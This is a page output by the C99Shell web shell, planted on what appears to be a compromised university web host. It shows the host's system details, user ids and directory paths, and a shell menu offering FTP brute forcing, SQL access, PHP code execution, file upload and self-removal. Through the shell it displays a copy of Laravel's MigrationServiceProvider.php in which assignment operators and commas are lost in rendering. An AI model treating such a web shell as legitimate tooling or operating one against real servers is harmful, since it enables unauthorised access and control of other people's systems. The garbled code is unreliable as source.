!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/it-man.ztu.edu.ua/src/vendor/laravel/framework/src/Illuminate/Database/   drwxr-xr-x
Free 116.5 GB of 200.55 GB (58.09%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     MigrationServiceProvider.php (6.4 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Illuminate\Database;

use 
Illuminate\Support\ServiceProvider;
use 
Illuminate\Database\Migrations\Migrator;
use 
Illuminate\Database\Migrations\MigrationCreator;
use 
Illuminate\Database\Console\Migrations\ResetCommand;
use 
Illuminate\Database\Console\Migrations\StatusCommand;
use 
Illuminate\Database\Console\Migrations\InstallCommand;
use 
Illuminate\Database\Console\Migrations\MigrateCommand;
use 
Illuminate\Database\Console\Migrations\RefreshCommand;
use 
Illuminate\Database\Console\Migrations\RollbackCommand;
use 
Illuminate\Database\Console\Migrations\MigrateMakeCommand;
use 
Illuminate\Database\Migrations\DatabaseMigrationRepository;

class 
MigrationServiceProvider extends ServiceProvider
{
    
/**
     * Indicates if loading of the provider is deferred.
     *
     * @var bool
     */
    
protected $defer true;

    
/**
     * Register the service provider.
     *
     * @return void
     */
    
public function register()
    {
        
$this->registerRepository();

        
// Once we have registered the migrator instance we will go ahead and register
        // all of the migration related commands that are used by the "Artisan" CLI
        // so that they may be easily accessed for registering with the consoles.
        
$this->registerMigrator();

        
$this->registerCreator();

        
$this->registerCommands();
    }

    
/**
     * Register the migration repository service.
     *
     * @return void
     */
    
protected function registerRepository()
    {
        
$this->app->singleton('migration.repository', function ($app) {
            
$table $app['config']['database.migrations'];

            return new 
DatabaseMigrationRepository($app['db'], $table);
        });
    }

    
/**
     * Register the migrator service.
     *
     * @return void
     */
    
protected function registerMigrator()
    {
        
// The migrator is responsible for actually running and rollback the migration
        // files in the application. We'll pass in our database connection resolver
        // so the migrator can resolve any of these connections when it needs to.
        
$this->app->singleton('migrator', function ($app) {
            
$repository $app['migration.repository'];

            return new 
Migrator($repository$app['db'], $app['files']);
        });
    }

    
/**
     * Register the migration creator.
     *
     * @return void
     */
    
protected function registerCreator()
    {
        
$this->app->singleton('migration.creator', function ($app) {
            return new 
MigrationCreator($app['files']);
        });
    }

    
/**
     * Register all of the migration commands.
     *
     * @return void
     */
    
protected function registerCommands()
    {
        
$commands = ['Migrate''Rollback''Reset''Refresh''Install''Make''Status'];

        
// We'll simply spin through the list of commands that are migration related
        // and register each one of them with an application container. They will
        // be resolved in the Artisan start file and registered on the console.
        
foreach ($commands as $command) {
            
$this->{'register'.$command.'Command'}();
        }

        
// Once the commands are registered in the application IoC container we will
        // register them with the Artisan start event so that these are available
        // when the Artisan application actually starts up and is getting used.
        
$this->commands(
            
'command.migrate''command.migrate.make',
            
'command.migrate.install''command.migrate.rollback',
            
'command.migrate.reset''command.migrate.refresh',
            
'command.migrate.status'
        
);
    }

    
/**
     * Register the "migrate" migration command.
     *
     * @return void
     */
    
protected function registerMigrateCommand()
    {
        
$this->app->singleton('command.migrate', function ($app) {
            return new 
MigrateCommand($app['migrator']);
        });
    }

    
/**
     * Register the "rollback" migration command.
     *
     * @return void
     */
    
protected function registerRollbackCommand()
    {
        
$this->app->singleton('command.migrate.rollback', function ($app) {
            return new 
RollbackCommand($app['migrator']);
        });
    }

    
/**
     * Register the "reset" migration command.
     *
     * @return void
     */
    
protected function registerResetCommand()
    {
        
$this->app->singleton('command.migrate.reset', function ($app) {
            return new 
ResetCommand($app['migrator']);
        });
    }

    
/**
     * Register the "refresh" migration command.
     *
     * @return void
     */
    
protected function registerRefreshCommand()
    {
        
$this->app->singleton('command.migrate.refresh', function () {
            return new 
RefreshCommand;
        });
    }

    
/**
     * Register the "make" migration command.
     *
     * @return void
     */
    
protected function registerMakeCommand()
    {
        
$this->app->singleton('command.migrate.make', function ($app) {
            
// Once we have the migration creator registered, we will create the command
            // and inject the creator. The creator is responsible for the actual file
            // creation of the migrations, and may be extended by these developers.
            
$creator $app['migration.creator'];

            
$composer $app['composer'];

            return new 
MigrateMakeCommand($creator$composer);
        });
    }

    
/**
     * Register the "status" migration command.
     *
     * @return void
     */
    
protected function registerStatusCommand()
    {
        
$this->app->singleton('command.migrate.status', function ($app) {
            return new 
StatusCommand($app['migrator']);
        });
    }

    
/**
     * Register the "install" migration command.
     *
     * @return void
     */
    
protected function registerInstallCommand()
    {
        
$this->app->singleton('command.migrate.install', function ($app) {
            return new 
InstallCommand($app['migration.repository']);
        });
    }

    
/**
     * Get the services provided by the provider.
     *
     * @return array
     */
    
public function provides()
    {
        return [
            
'migrator''migration.repository''command.migrate',
            
'command.migrate.rollback''command.migrate.reset',
            
'command.migrate.refresh''command.migrate.install',
            
'command.migrate.status''migration.creator',
            
'command.migrate.make',
        ];
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0132 ]--